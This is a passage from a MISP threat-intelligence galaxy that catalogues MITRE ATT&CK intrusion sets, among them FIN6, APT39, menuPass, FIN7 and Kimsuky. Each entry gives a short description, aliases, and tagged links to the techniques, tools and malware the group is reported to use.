[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)
The tag is: misp-galaxy:mitre-intrusion-set="FIN6 - G0037"
FIN6 - G0037 is also known as:
-
FIN6
-
ITG08
FIN6 - G0037 has relationships with:
-
similar: misp-galaxy:threat-actor="FIN6" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="LockerGoga - S0372" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="More_eggs - S0284" with estimative-language:likelihood-probability="almost-certain"
GCMAN - G0036
[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)
The tag is: misp-galaxy:mitre-intrusion-set="GCMAN - G0036"
GCMAN - G0036 is also known as:
-
GCMAN
GCMAN - G0036 has relationships with:
-
similar: misp-galaxy:threat-actor="GCMAN" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
Links |
BlackOasis - G0063
[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)
The tag is: misp-galaxy:mitre-intrusion-set="BlackOasis - G0063"
BlackOasis - G0063 is also known as:
-
BlackOasis
BlackOasis - G0063 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Links |
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/ |
APT39 - G0087
[APT39](https://attack.mitre.org/groups/G0087) is an Iranian cyber espionage group that has been active since at least 2014. They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran’s national priorities. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)
The tag is: misp-galaxy:mitre-intrusion-set="APT39 - G0087"
APT39 - G0087 is also known as:
-
APT39
-
Chafer
APT39 - G0087 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ASPXSpy - S0073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Remexi - S0375" with estimative-language:likelihood-probability="almost-certain"
Links |
SilverTerrier - G0083
[SilverTerrier](https://attack.mitre.org/groups/G0083) is a Nigerian threat group that has been seen active since 2014. [SilverTerrier](https://attack.mitre.org/groups/G0083) mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)
The tag is: misp-galaxy:mitre-intrusion-set="SilverTerrier - G0083"
SilverTerrier - G0083 is also known as:
-
SilverTerrier
SilverTerrier - G0083 has relationships with:
-
uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="DarkComet - S0334" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Agent Tesla - S0331" with estimative-language:likelihood-probability="almost-certain"
Links |
Suckfly - G0039
[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)
The tag is: misp-galaxy:mitre-intrusion-set="Suckfly - G0039"
Suckfly - G0039 is also known as:
-
Suckfly
Suckfly - G0039 has relationships with:
-
similar: misp-galaxy:threat-actor="Suckfly" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Nidiran - S0118" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
FIN4 - G0085
[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)
The tag is: misp-galaxy:mitre-intrusion-set="FIN4 - G0085"
FIN4 - G0085 is also known as:
-
FIN4
FIN4 - G0085 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html |
https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html |
menuPass - G0045
[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018)
The tag is: misp-galaxy:mitre-intrusion-set="menuPass - G0045"
menuPass - G0045 is also known as:
-
menuPass
-
Stone Panda
-
APT10
-
Red Apollo
-
CVNX
-
HOGFISH
menuPass - G0045 has relationships with:
-
similar: misp-galaxy:threat-actor="Stone Panda" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="SNUGRIDE - S0159" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="UPPERCUT - S0275" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="ChChes - S0144" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="EvilGrab - S0152" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-tool="esentutl - S0404" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem |
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf |
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html |
https://www.justice.gov/opa/press-release/file/1121706/download |
https://www.accenture.com/t20180423T055005Z_w_/se-en/acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Z_w/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf] |
Sowbug - G0054
[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)
The tag is: misp-galaxy:mitre-intrusion-set="Sowbug - G0054"
Sowbug - G0054 is also known as:
-
Sowbug
Sowbug - G0054 has relationships with:
-
similar: misp-galaxy:threat-actor="Sowbug" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Starloader - S0188" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Felismus - S0171" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
Links |
FIN7 - G0046
[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)
The tag is: misp-galaxy:mitre-intrusion-set="FIN7 - G0046"
FIN7 - G0046 is also known as:
-
FIN7
FIN7 - G0046 has relationships with:
-
similar: misp-galaxy:threat-actor="Anunak" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Application Shimming - T1138" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="Carbanak - S0030" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="HALFBAKED - S0151" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="SQLRat - S0390" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="RDFSNIFFER - S0416" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="BOOSTWRITE - S0415" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="GRIFFON - S0417" with estimative-language:likelihood-probability="almost-certain"
Gallmaker - G0084
[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)
The tag is: misp-galaxy:mitre-intrusion-set="Gallmaker - G0084"
Gallmaker - G0084 is also known as:
-
Gallmaker
Gallmaker - G0084 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group |
RTM - G0048
[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)
The tag is: misp-galaxy:mitre-intrusion-set="RTM - G0048"
RTM - G0048 is also known as:
-
RTM
RTM - G0048 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-malware="RTM - S0148" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf |
Kimsuky - G0094
[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group focuses on targeting Korean think tank as well as DPRK/nuclear-related targets. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)
The tag is: misp-galaxy:mitre-intrusion-set="Kimsuky - G0094"
Kimsuky - G0094 is also known as:
-
Kimsuky
-
Velvet Chollima
Kimsuky - G0094 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
